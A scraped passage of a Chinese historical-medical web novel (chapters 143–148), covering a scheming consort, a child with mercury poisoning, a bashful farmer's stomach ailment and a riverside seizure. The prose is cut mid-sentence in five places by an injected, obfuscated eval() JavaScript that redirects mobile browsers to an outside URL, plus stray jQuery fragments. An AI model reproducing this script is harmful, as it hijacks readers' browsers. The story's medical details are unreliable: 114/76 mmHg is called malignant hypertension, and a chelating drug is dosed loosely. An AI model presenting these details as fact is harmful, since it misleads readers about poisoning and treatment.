他医术通神,智谋超群,深受帝宠,还与太子情同骨肉。
更可怕的是那份近乎愚蠢的“仁心”,那套“胁从可悯”“不易涂改”的说辞,竟能打动以铁血闻名的太祖,赢得满朝沉默的感激。
不能再这样下去了,勋贵的口风在转变,陛下的心意难以揣测。
太子的依赖日渐加深,马淳在民
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898863|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间的声望……更是日益高涨。
“炆儿读得真好。”吕氏走上前笑容温柔。
朱允炆仰起脸,甜甜唤了声“娘亲”。
吕氏瞬间回神,“没事,炆儿读书要专心。”
她坐回一旁,目光看似落在儿子身上,思绪却早已飞远。
上一次的“怪症”试探。
本意是骚扰试探,若能败坏其名声更好。
却被他夫妇轻易识破,甚至当众以“六不治”之名驱逐,毫发无损反而彰显了他们的清高与骨气。
愚蠢!
派去的人真是愚蠢!
连泼脏水都做不好!
吕氏心中恨恨,表面却平静无波。
那两个被赶走的“父子”,怕是也落不了好下场。
马淳已是国公,又被陛下太子如此倚重,明面上的刁难只会自取其辱。
更何况,那两人本就是被捏住短处的棋子。弃了也不可惜,只是没能试探出马淳在“怪症”上的真正深浅,有些可惜。
看来,寻常的手段根本撼动不了他,明枪不行,暗箭呢?
她需要更隐秘,更致命的手段一击即中,让他再无翻身可能,也让自己永绝后患。
她需要一个机会。
他的软肋是什么?
医馆。
名声。
家人。
徐妙云和她腹中的孩子……
想到孩子。
吕氏的目光下意识扫过自己的小腹,那里也曾孕育过希望。
马淳最珍视的是什么?
是他的“仁心仁术”之名?
是那些被勋贵传颂的“泽被苍生”?
她款步走出偏殿,“去请张嬷嬷来。”
张嬷嬷很快来了。
一个面相和善,眼神却精明的老妇人。
毕恭毕敬地行礼,“老奴给娘娘请安。”
吕氏转过身,“起来吧。有日子没好好说话了。”她指着旁边的绣墩。“坐。”
张嬷嬷受宠若惊,只敢挨着半个屁股坐下。
“给嬷嬷看茶。”吕氏吩咐宫娥。
待到茶水奉上,室内只余她们二人。
吕氏才慢悠悠地开口,像是在拉家常,“嬷嬷在宫中多年,见多识广,可听说过。有什么病,或者毒,看着极凶险,症状怪异骇人,却又不会真的要人命?
“尤其是那种能让好好的人,言行举止变得,大异寻常,状似疯癫,医家望闻问切皆难寻根由的……”
良久,张嬷嬷放下茶盏。
身体微微前倾,“老奴在宫里待了一辈子,旁的不敢说,这宫闱之中的稀罕物件儿,倒也……略知一二……”
……
第144章吕氏的手段,一次比一次狠!
吕氏的人来得悄无声息。
午后医馆清净,只有一位老妇人领着个四五岁的女童坐在角落里。
孩子蔫蔫地靠在阿婆身上,小脸发黄,没什么精神。
老人一脸愁容。
马淳正替一位老寒腿的病人扎针,徐妙云看了一眼那对祖孙,没太在意。
又过一炷香,前堂只剩老妇和女童。
马淳示意药童收针,自己则起身询问:“这位大娘,令孙女哪里不适?”
老妇忙起身,将孩子往前推了推:“马神医,您快给瞧瞧吧!我这孙女,最近半个月像变了个人,茶不思饭不想的,整天懒洋洋的。手脚有时还发麻、发抖……眼瞅着小脸就蜡黄下去了!乡下郎中看过,说是慢惊风,可药吃了不少,半点不见好。”
马淳招手:“孩子过来,伯伯看看。”
女童怯怯地被推上前。
马淳打量她,精神萎靡,面色蜡黄带点灰青气,眼神木木的没什么光彩。
他轻轻握起孩子小手,骨瘦如柴。
他搭上寸口脉,脉象沉细而涩,像有什么堵着气脉。
“平日可会发热?出汗多吗?”马淳边问边示意孩子张嘴看舌苔。
“热倒是不热,汗也少。”老妇连连摇头,“就是没力气,不爱动,手指脚趾会冷不丁抽抽几下。”
马淳心里有了初步判断,有些像中医说的“痿证”,脾虚湿困,气血不行。
他摸了下孩子额头,体温微凉。
正当他准备写方子时,小女孩突然急促地喘息起来,小小的胸脯起伏着,带起一阵细碎干裂的咳嗽,声音像撕裂的破布。
老妇赶紧拍打孙女的背:“看!又咳了!有时咳得厉害还心慌气促,脸憋得发青!作孽啊……这是不是肺痨啊大夫?”
“阿婆别急,咳多久了?可有痰?”马淳追问。
“就这十来天的事。没什么痰,干咳,有时咳急了就喘不上气。”
马淳眉头微微皱了起来。
单纯的慢惊风或肺系疾患,不该有这么古怪复杂的混合表现。
脉沉涩是气血瘀滞之象,脾虚是主,可这阵发性的手脚麻颤、突兀的干咳气促……组合起来,不对劲。
马淳再次审视女童。
小脸灰黄,眼睑泛白,这是典型的贫血貌。
他心头疑虑更重。
“小丫头的指甲,还有脚趾甲,让伯伯看看好吗?”他温声说。
老妇哄着孩子伸出手脚。
马淳仔细看那十指的指甲。
甲床血色淡,苍白,但更重要的是……
他凑得更近些,在明亮的光线下,看到孩子微薄的指甲盖下,沿着指甲根那一线,有一抹若有若无的、极细微的暗色线。
非常淡的蓝灰色,藏在甲床深处,几乎难以察觉。
若非马淳刻意留心,根本注意不到。
马淳的目光陡然变得锐利起来。
他猛地抬头看向老妇:“大娘,你家……家里或者她平时玩的地方,可有水银之类的东西?”
老妇一脸茫然:“水……水银?那是什么?”
“就是汞!朱砂!亮闪闪像水珠子的东西!”马淳语速不自觉加快。
“没有没有!”老妇连忙摆手,“我家穷苦人家,哪用得起那些金贵玩意儿?只有她娘陪嫁过来的一面旧铜镜。镜面照不清楚了,丢在角落里好几年了,这孩子有时会翻出来……”
铜镜?!
马淳心一沉。
古法铜镜常以水银为底!
“那铜镜呢?可在家里?”他急问。
“镜面烂掉了,稀巴烂,碎片黑乎乎的早就扔了,大概……就半个月前的事吧。”
老妇不确定地说,“家里地方小,就扔在后院灶膛灰堆边上。这孩子不知怎么翻到了,还拿着那脏东西玩了一会儿,被她娘打了一顿……”
时间对上了!
症状对上了!
他沉声道:“大娘稍等!”
说罢,他几乎是冲进后堂,径直拉开角落里那个特殊橱柜,取出便携式血压计和袖带。
他快速回到前堂,卷起女童小小的胳膊袖子。
冰凉的袖带缠上细瘦的手臂,老妇和旁边整理药材的药童都有些发懵。
仪器启动,幽蓝色数字闪烁几下,最后显示:
收缩压:114mmHg
舒张压:76mmHg
心率:103bpm
马淳脸色变得无比凝重!
一个营养不良、看上去极度
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906506|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虚弱的孩子,血压怎么可能这么高!
心率竟也远超正常!
这完全是急进期恶性高血压的特征!
结合那甲床下的灰色线和奇怪的神经肌肉症状……
汞接触史(破损的旧铜镜),加上高到反常的血压!
汞**!
而且不是一般的慢性汞**!
很可能是急性或亚急性**!
破损的铜镜碎片散出汞蒸气,孩子吸入或在玩时沾到,误食了少量,又或者……根本就是人为!
他猛地看向门外,长街平静,午后阳光正好,只有些闲散的农户行人经过,没有任何异常。
伪装成求医的祖孙,症状极其逼真,连那灰甲线都如此隐晦!
若非他追问出旧铜镜,若非动用了血压计,谁敢断定这是**?
吕氏!
这一次,用的是真正的毒物!
将慢性汞**的复杂症状精心伪装成普通小儿虚弱杂病!
寻常的望闻问切,极易误诊为营养不良、慢惊风、甚至肺痨!
若按普通方子调理,结局就是慢性汞**导致的多器官损害,最终无可挽回!
马淳缓缓放下血压计袖带,胸腔剧烈起伏着。
他的拳头在桌下紧紧握起。
老妇被马淳骤变的脸色吓得声音发颤:“神、神医……我孙女她……她到底……”
马淳深吸一口气,努力压下胸口的惊涛骇浪,尽量让语气保持平稳:“很麻烦,但不是没救。”
他迅速取出一支小小的塑料试管和一个试纸杯:“大娘,接点你孙女的尿,越快越好。我要验看。”
“这……”老妇虽不解,但神医吩咐,忙不迭接过小杯,拉着迷迷糊糊的女童进了后面的茅房。
徐妙云一直静静观察着,此时才轻轻走近:“夫君?可查出什么?”
马淳侧过头,看着妻子关切中带着一丝了然的眼神,用只有两人能听见的声音一字一句道:
“是毒。慢性汞**。症状伪装得极其高明!铜镜可能是障眼法,也可能是载体!必须揪出背后下毒之人!”
徐妙云的眸光瞬间如寒潭,但她只轻轻点头,“好。救人。该来的,挡不住。”
……
第145章吕氏故意下毒装病?这也太狠了!
老妇端着一点点尿液回来了。
马淳接过来,立刻将试纸浸入尿液样本。
试纸接触尿液几秒钟后,中心区域的方形反应区先是变成极其微弱的粉红。
那粉色迅速加深!
几乎在眨眼之间,就转变成了刺目的猩红!
颜色浓度,至少指向了中度至重度的汞**。
“噗通”一声,老妇看到那试纸刺目的颜色,又见马淳凝重的脸色,双腿一软就瘫跪下来:“神医!神医救命啊!我小孙女从小没爹……老婆子求求您了!她还小……”
马淳连忙扶起她:“大娘放心!是**,我知道治法!能救!”
他立刻转身拉开药柜深处一个隐蔽的小抽屉。
里面整齐地码放着几个他根据系统配方提前兑换好、装入青瓷小药瓶的药水——二巯丙磺酸钠(Na-DMPS),驱汞特效药。
他取出其中一瓶,郑重地递给老妇,语气前所未有地严肃:
“听好!这药极其紧要,能救命,也危险!”
“拿好!回到你所在的村子后,找个干净的碗,取小半勺药水,一定要兑入满满一碗温热的干净清粥里!混匀了!让你孙女喝下半碗!记住,一定要兑足够的粥水,否则药性太猛孩子受不住!明晚此时,再给她喝剩下的半碗!之后立刻带她再来找我!切记!”
老妇哆哆嗦嗦地接过冰凉的小瓷瓶,像捧着一根救命的稻草。
“谢、谢神医……可这、这药钱……”
“不必了!”马淳斩钉截铁,“人命关天,快回去!按我说的做!切勿耽搁!也别再让别人碰这药!包括你家亲戚!只给你孙女喝!”
老妇千恩万谢,紧紧攥着小药瓶,背起茫然的小孙女,几乎是踉跄着冲出了医馆大门。
【叮!救治汞**患者,获得积分10!】
……
马淳盯着她们离去的方向,眼神锐利如刀。
“是汞?”徐妙云声音低沉。
“绝不会错。”马淳攥紧的指节微微发白,“症状、体征、试纸反应,全对上了。那所谓的旧铜镜……太巧了。”
徐妙云走到丈夫身边,“手法比上回高明太多。真拿性命做饵。”
“最毒的是伪装!”马淳恨声道,“做成病弱缠绵的假象,寻常医家极易误诊耽误,不知不觉就能……”
徐妙云目光忧色更浓。“无凭无据。我们说有铜镜,对方也可以说是无意,甚至反咬我们栽赃。”
马淳深吸一口气,强压下翻涌的怒意。
“我知道。”他声音恢复了平稳,“没有铁证,动不了东宫太子妃。连怀疑之语都不能轻出。”
他反手握住徐妙云的手,语气坚决:“但此人已丧心病狂,一次比一次下作。妙云,从今往后,进出你身边的茶水、食物、熏香,我都亲自过问。”
“医馆这边也是。”徐妙云语气同样郑重,“往后接诊看似寻常却症状古怪复杂的,尤其是涉及幼童,必得多留一万个心眼。我会让府里心腹嬷嬷暗中再筛查一番,绝不给人可趁之机。”
她顿了一顿,低声道:“为了这个家,为了孩子。”
马淳将妻子轻轻揽入怀中,下巴抵着她的发顶,汲取着她身上淡雅的药草香气。“兵来将挡,水来土掩。她敢伸爪子,我就敢剁!”
他声音低沉,“等着。总会露出马脚。”
所幸,接下来的小半个时辰风平浪静。
诊完了最后几位真正病患,前厅已无闲杂人等。
徐妙云坐回案前整理脉案,马淳则走到水盆边,仔细清洗那双曾接触过汞毒患儿的手。
“国公爷!夫人!”一个带笑的响亮嗓门划破了医馆的宁静。
珠帘哗啦一响,几个人影当先挤了进来。
徐辉祖稳重些,拱手为礼:“见过姐夫,大姐。”
他身后的徐增寿却是个闲不住的,眼珠一转,立刻嬉皮笑脸地凑到徐妙云案前:“姐!气色真好!小外甥踢你了没?”
“没规没矩!”徐妙云抬指作势欲敲他脑门。
紧跟着,吴杰也走了进来,斯斯文文地对马淳夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912344|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妇一揖:“见过大哥、嫂子。”
最后压轴的,永远动静最大。
一袭华贵袍衫掀帘而入,李景隆甩了甩袖子,人未到声先扬:“哎哟!我说马大神医,妙云嫂子!小爷我千里迢迢来探望,连口热茶都没有?”
他夸张地抹了抹额头并不存在的汗,目光滴溜溜在厅里转,“咦?那俩讨嫌的玩意儿被撵了?活该!早瞧着不像好人!”
他这一连串话又快又响,像倒豆子似的,刚才那股若有若无的紧张气氛顿时被冲散了。
马淳看着眼前这帮闹哄哄的兄弟,脸上紧绷的线条终于完全柔和下来,露出今日第一个发自内心的笑容:“刚送走最后几个病家,茶管够。九江你还是这咋呼性子。”
徐辉祖也笑了:“今日营里事务结束得早,大家伙儿心里记挂,便约着一道过来看看。大姐身子要紧,姐夫也是操劳。”
“劳你们挂心。”徐妙云放下笔,笑容温婉,“我好得很。倒是你们,别站着了,后院说话。”
一行人热热闹闹穿过前堂,涌向后院小天井。
药童手脚麻利地搬来小杌、藤椅、茶案。
李景隆毫不客气,一屁股占了最大的藤椅:“痛快!还是这儿舒坦,不用对着我爹那张刻板脸。”
他接过徐妙云亲手递来的温热茶盏,满足地呷了一大口。
徐增寿挨着姐姐坐下,好奇地拿起案上一把紫苏嗅了嗅:“姐夫,这玩意儿不是驱风的吗?放这儿晒?”
“这几日熬汤常用。”马淳解释道。
“嘿!说到熬汤!”李景隆像是想起了什么,眼睛一亮,“进门就闻到味儿了!妙云姐,今儿炖什么好料了?是羊肉不?给兄弟们添副碗筷?”
他搓着手,一脸馋相,毫不遮掩。
吴杰忍不住笑着推了他一下:“李兄!咱是来探病的,又不是打秋风!”
“这话说的!”李景隆瞪眼,“探病更要吃好喝好!吃饱了才有精神给大哥解闷!妙云姐你说对不?”
众人一阵哄笑……
第146章大夫放弃吧!你休想问出一句有用
徐妙云莞尔:“早炖上了,羊肉温补,还加了些草药,且得等会儿。九江要是饿得慌,灶间有刚蒸的枣糕。”
“枣糕也行!垫吧垫吧!”李景隆毫不在乎地挥手。
“那就有劳嫂子了。”吴杰不好意思地起身。
“坐着吧,让丫鬟去。”徐妙云说着,轻轻示意了一下旁边的侍女。
侍女会意,转身去了灶间。
气氛彻底松快下来。
徐辉祖放下茶盏,正色看向马淳:“姐夫,前日那波人,小弟后来听说了些。听说是市井泼皮?可曾纠缠,伤着你和大姐?”
他身为兄弟,自有担当和敏锐。
徐增寿也收了嬉笑:“就是!姐夫,要有不开眼的,你吱声!我徐老四收拾他们!”
马淳摆摆手,不想让刚轻松下来的气氛又沉回去,只轻描淡写道:“不过是想闹腾些事端捞点好处,手段拙劣,几句话轰走了事,无甚大碍。”
“我看那两人,尤其是老的,病气缠身不似作伪。”吴杰观察细致,低声插了一句,“是得了什么棘手的恶疾才赖上医馆?”
徐妙云和马淳对视一眼,彼此都看到对方眼中一丝无奈。
徐妙云温声道:“医者之心,病家上门,本无推拒之理。只是那两人言语无状,毫无求医之诚,反倒像是存心来寻衅滋事。不治也罢。”
她巧妙地将话题引开,重点放在了对方的无理取闹上,未提那更深的险恶猜测。
李景隆“嗤”了一声:“嘁!京城这种无赖玩意儿我见多了!专坑面善的神医!就仗着你们心软!早该赶走!要我说,就该寻应天府的差役打他们板子,看他们还敢来!”
徐增寿立刻附和:“对!李二哥说得对!”
马淳笑了笑,没再说什么。
朋友们的关切和义愤是真心的,这就够了。
有些沉重和黑暗,没必要压在他们的心头。
能这样热闹地说笑片刻,已是难得的慰藉。
枣糕和热茶很快端上来。
众人分食着点心,话题自然而然地转到了轻松的地方:营里的趣事,最近哪个茶楼新来了个琴弹得好的清倌人,京郊新开一片马场跑起来甚是爽快。
……
轻松的说笑持续了一会儿,朋友们带来的喧闹暂时驱散了医馆里积压的沉重。
然而,平静并未持续太久。
前厅门帘又被撩开了,动静却不小。
一对看起来四十多岁的夫妻探头探脑地走了进来。
丈夫个子不高,微胖,面色有些蜡黄,微微佝偻着背,神情局促。
妻子身材瘦削,脸上刻着几分生活的辛劳,一进门眼睛就紧紧粘在马淳身上,带着明显的焦急。
“大…………大夫!”妻子抢先开口,声音有些尖利,“我家汉子身体不舒服,快给瞧瞧!”
她边说边用力把沉默的丈夫往前推搡。
马淳心头那根刚刚放松的弦瞬间又绷紧了。
他下意识地抬眼迅速扫视门外,午后阳光刺眼,街道上行人稀疏,暂时不见盯梢的异常。
但他不敢大意,目光落回这对夫妻身上,带着审视。
丈夫被推到他面前,低着头,目光躲闪,嘴唇动了动,一个字也没说出口,反而更显局促不安。
马淳收回心神,压下疑虑,维持着医者的平静:“请坐,先别急。这位大哥哪里不舒服?”
男人蠕动着嘴唇,眼神瞟向地面或屋顶,喉咙里发出一点含混的“嗯……啊……”声,像被什么堵住。
他飞快地看了一眼妻子,又迅速低下头,耳朵尖都红了。
“哎呀!”妻子等不及了,急得直跺脚,“你倒是快说啊!看大夫有啥不好意思的!在马神医面前还藏着掖着?”
她转向马淳,语速飞快,像连珠炮:“大夫,我家这死鬼!也不知道怎么搞的!这两天总是不痛快,饭也吃不下,睡也睡不好,问他哪儿不舒服,他就跟锯了嘴的葫芦似的,一声不吭!就知道皱着眉头哼唧!”
马淳耐着性子,目光始终看着低头的男患者:“大哥,身体是你自己的。看病要讲清楚病症,我才能帮你。是哪里痛?胀?还是其他感觉?有多久了?”
男人艰难地抬了一下头,又立刻垂下去,他含糊地挤出几个字:“没……没啥……就是……不大舒坦……”
徐增寿在后面看得直撇嘴,忍不住小声嘟囔:“这人真
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920081|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是,哑巴了?看病还害羞?”
徐妙云不动声色地看了弟弟一眼,示意他噤声。
她目光温和地落在患者身上,柔声道:“这位大哥,别紧张。我们都是大夫,什么情况都见过的。你不说清,我家夫君没法子帮你解除病痛,受苦的还是你自己,家里人也跟着着急,是不是?”
妻子连忙点头如捣蒜:“是啊是啊!大夫您说得太对了!愁死我了!他平时好好的,这两天就蔫了!早起起来漱个口就干呕,闻到厨房里那点油烟味,就跟见了鬼似的捂着鼻子跑!昨儿吃口米饭都吐了!您说这人是铁饭是钢,不吃怎么行?”
她絮絮叨叨,把一些零碎的迹象一股脑倒出来,却始终无法聚焦核心症状。
“吐了?是吐食物还是酸水?有胃痛吗?或者烧心?”马淳抓住线索追问丈夫。
男人却像是被“胃痛”这两个字烫着了,身体往后缩了缩,头埋得更低,两只手死死压住自己整个上腹部,连带着脖子都粗了。
他喉结剧烈地滚动了一下,发出短促的气声:“呃……就……就那样儿……”
声音小得像蚊子叫。
“什么叫‘那样儿’?”妻子急得去扯他胳膊,“马神医问你呢!是痛还是胀?说清楚啊!痛你就说痛!胀你就说胀!跟个闷嘴葫芦似的急死个人!”
男人被她一扯,整个身体更僵了,他甚至有些慌乱地试图拨开妻子的手,显得更加狼狈。
李景隆在后头看着这一幕,没忍住,“噗嗤”一声笑出来,又赶紧用手捂住嘴,肩膀一抖一抖的。
连稳重的徐辉祖嘴角也抽动了一下。
吴杰则努力憋着笑,脸都有些红了。
徐妙云想板着脸,眼中也闪过一丝无奈的笑意。
马淳此刻内心的紧张却再次攀升。
这对夫妻太怪了!
男的一问三不答,如同铜墙铁壁;
女的看似着急,说的全是外围绕圈、模糊不清的表面现象!
这模式,难道不是吕氏派来混淆视听、拖延时间或者试探诊断界限的新花样?
他们想干嘛?
拖垮他的耐心?
然后指责他诊断不出?
……
第147章都给马淳整的神经了!
他暗自咬了咬牙,决定主动出击,直接点破观察到的细节,施加一点压力:“大哥,我看你刚才手一直捂着胃脘部,我提起‘痛’字你下意识就用力按住那里。是不适集中在这个位置吗?是胀满感?还是像针刺、刀割一样的疼痛?”
他目光如炬,紧盯着对方。
男人像是被戳破心事,猛地一震,捂住上腹的手下意识想挪开,但那里分明是他最不舒服的地方,挪开半寸又痛苦地放回去按紧,脸上的表情比哭还难看。
他张着嘴,大口倒吸着气,喉咙里发出短促的声响:“嘶……这……唉……”
他还是没吐出那个“痛”字。
妻子抢过话头:“对对对!就是胃!大夫您眼神真准!他就捂着那儿!问他痛不痛?他说也不全是痛,就是憋得慌!硬邦邦的!早上起来吧还能喝点稀粥,一到下午,这地方就胀得跟个鼓似的!还老往上返气!一股……一股子怪味儿!”
她比划着,试图描述一种难以言喻的酸腐感。
“嗳气?反酸水?”马淳追问男人。
男人此刻已经被逼到角落,满脸通红,像是秘密被当众扒光。
他羞愧得无地自容,猛地闭上眼,终于用力地、重重地点了一下头。
“是嗳气反酸!是不是还伴有上腹胀痛?尤其是在饭后?”马淳继续确认关键点。
男人这次没有再点头,但也没否认。
马淳盯着男人痛苦而窘迫的脸,看着他因为尴尬和身体不适而微微发抖的双手,再看看他那快急哭了的妻子,心底那根紧绷的“阴谋论”的弦,终于缓缓松开了。
这哪里是训练有素的细作装出来的?
这分明就是一个老实巴交、有苦难言的庄稼汉子最真实的反应!
纯粹是因为这病症——胃脘疼痛、嗳气反酸,在观念传统的普通农家汉子眼中,是难以启齿的“不体面”之疾。
尤其是可能还伴有口臭等问题,他生怕被人闻见或察觉,那份强烈的羞耻感让他变成了惊弓之鸟,连对大夫都开不了口!
想到这里,马淳心里的疑云和紧张感瞬间消散。
一股哭笑不得的情绪涌了上来,甚至带着因自己方才过度紧张而产生的自嘲。
他深吸一口气,无奈地摇了摇头,脸上紧绷的神情彻底松弛下来,甚至露出了一点温和的包容笑意。
“好了好了,情况我大致明白了。”马淳的声音放得很柔,带着安抚,“这位大嫂,你也别太着急了。大哥这情况是肝胃气滞,中焦不通。不是什么大不了的毛病,但拖着也会很难受。”
听到这话,丈夫猛地抬起头,眼中透出难以置信的惊讶和一丝希冀,虽然他脸上还带着羞赧的红晕,但身体似乎没那么僵硬了。
妻子更是如释重负,眼眶瞬间红了,连声说:“真的吗神医?不是什么大病?能治好?太好了!太好了!”
她激动地想去拉丈夫,又怕丈夫不适,手僵在半空。
马淳对着这对窘迫又朴实的夫妻点点头:“能治好。我先帮大哥按按穴位,缓解一下胀痛感。然后再开个方子调理几日就会好起来。”
说完,他起身走到男子旁边,示意他放松。
朋友们的低笑声也渐渐停止了。
徐妙云眼中露出一抹了然的笑意,知道自己丈夫那根紧绷的弦终于解开了。
李景隆夸张地做了个擦汗的动作,吴杰和徐辉祖互相看了一眼,微微颔首。
马淳沉下心,专注在眼前真实的病患身上。
他伸出双手,沉稳而有力。
左手拇指精准地压在丈夫的内关穴上,右手则稳稳落在中脘穴。
指下肌肉坚硬如石,隔着粗布衣衫也能感受到鼓胀的张力。
马淳屏息凝神,指下加力。
力道先是柔和沉缓,如同暖流渗透,继而逐渐加重,带着一种不容置疑的柔和穿透力。
“唔……”丈夫牙关紧咬,额头瞬间沁出一层细密的冷汗,身体微微颤抖。
那按压的力道正正戳中了他最难忍受的痛处,比方才自发按压的痛楚强烈十倍。
他下意识想蜷缩抵抗。
“放松,忍着点。”马淳的声音不高。
他的双手如同拥有生命,在穴位上交替着揉按,每一按都深透筋肉。
指尖沿着一个特定的轨迹缓缓下移,经过梁门穴,继续向下,力道时重时轻,时而停留深按,时而画圈疏通。
妻子在一旁看着丈夫痛苦的神色,紧张地揪着衣角,大气不敢出。
片刻之后,奇迹发生了。
丈夫紧锁的眉头,竟然在痛楚中缓缓舒展开。
他口中发出一声难以置信的、绵长而带着颤音的“呃——哦——————”。
这声音带着无比的舒畅和释然。
仿佛积压在胸腹之间日久的硬块被这一声长长的排气冲散了。
随着这声呻吟,他那挺得如同鼓面般僵硬的上腹部,竟然以肉眼可见的速度松弛了下来!
胀硬的压力仿佛被无形的手指轻轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920082|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抚平了。
丈夫猛地抬起头,双眼因为难以置信而瞪得滚圆。
脸上的窘迫彻底被惊愕和狂喜取代。
他本能地伸手去摸自己的胃脘部。
那块让他生不如死、又羞于启齿的地方,真的软下去了许多!
那几乎要命的压迫感和钝痛,奇迹般地消失了起码七八分!
“哎呀我的娘咧!神了!神了!”妻子激动得差点蹦起来,语无伦次地叫喊,拉着丈夫的胳膊使劲摇,“当家的!当家的!你怎么样?是不是舒服了?快说话啊!哎呦,马神医!您可真是活菩萨转世啊!这就按几下子!这就……这就好了?!”
丈夫被妻子摇得差点摔倒,才从巨大的身体舒畅中回过神。
他憨厚的脸上挤出一个极其笨拙、却又无比真切的笑容,声音还有些发抖,但充满了难以言喻的喜悦:“舒……舒坦了!这……这肚子……它……它不胀了!不顶着了!轻快了!像……像卸下个大磨盘!”
医馆里的人都安静地看着这转变。
徐妙云嘴角弯起温柔的弧度。
朋友们脸上最后一丝戏谑也消失了,取而代之的是对医术的赞叹。
丈夫激动地看着马淳,眼中充满了感激。
之前的羞赧早已不见踪影,他对着马淳,笨拙但无比真诚地连连作揖:“神医……神医!您……您真是……救了我了!太谢谢了!”
妻子更是乐开了花,恨不得当场给马淳磕头:“神医呐!您这手太灵了!我家这闷葫芦算是找对地方了!”
马淳看着这对夫妇的反应,尤其是丈夫眼中那如同卸下千钧重负般的真诚感激,心中最后一点因吕氏而产生的阴霾也彻底消散了。
他自嘲地想,自己刚才真是被吓成惊弓之鸟了。
人间烟火里的疾苦和尴尬,哪里需要吕氏那种阴沟里的伎俩来模仿?
寻常人的窘迫和无助,本身就足够真实而“复杂”。
他摇摇头,笑了笑。这才是他行医路上的常态,琐碎、尴尬、哭笑不得,但也无比真实,治愈的过程也能如此迅速而充满烟火气的暖意。
“暂时缓解了胀痛,根子还在。需要服药调理几日,把阻滞的气血彻底通开。”马淳语气温和,转身走向诊案,“我给你写个疏肝理气和胃的方子,回去按时煎服。这两日饮食清淡些,情绪也要尽量平和。”
他铺开纸笔,蘸墨书写。
丈夫和妻子恭恭敬敬地站在案前,眼中满是信服和期待……
第148章我的天!马神医能给鬼治病!!
翌日清晨,天光微亮。
秦淮河边。
马淳轻轻搀扶着徐妙云,两人沿着河堤缓缓散步。
徐妙云腹部微隆,脸上是孕后特有的柔和光晕。
马淳享受这难得的宁静时光。
远处已有早起的货郎叫卖,岸边亦有零星的浣衣妇。
一切都显得平和安然。
忽然,前方堤岸处传来一阵骚动。
人声由细微的惊呼迅速变为惊恐的喧哗。
“哎呀!”
“鬼!水鬼!”
“快跑!水鬼拖人下水了!”
“救命啊!”
人群像炸开的锅,惊惶四散奔逃。
不少人失足绊倒,发出更响的尖叫。
徐妙云脚步一顿,马淳也瞬间警觉,将她更护紧了些。
“夫君,前面…………”
“别怕,我看看。”
马淳凝目望去。
只见前方约十丈处,一群人如避蛇蝎般迅速散开一个空地。
空地中心,一个人影正剧烈地扭动挣扎。
那人趴伏在河堤斜坡上,距离水面不足一尺。
他身形瘦小,衣衫褴褛,像个半大少年。
此刻,他身体像是被无形绳索死死勒住捆紧,正以一种极其僵硬、扭曲的姿态在地上来回翻滚、抽搐。
他四肢如同折断的竹竿般直挺挺地乱蹬乱划,每一次抽搐都让身体绷成反弓的弧度。
肌肉痉挛的力量极大,碎石泥块被扒拉得四溅。
他喉咙里发出断续的、非人的“嗬嗬”声,脖颈梗得死直,头颅后仰到一个不可思议的角度。
脸色先是憋得发紫胀红,几个剧烈抽搐后,竟迅速转为骇人的青灰死气。
瞳孔上翻,露出大片眼白。
口唇青紫扭曲,无法合拢,粘稠的白沫混合着血丝顺着嘴角涌出,淋漓滴在泥地上。
每一次身体挺直撞击地面,都发出沉闷的“咚”声。
那模样,既不像溺水,更非寻常失足,倒像是被某种恐怖的力量从内部撕裂折磨。
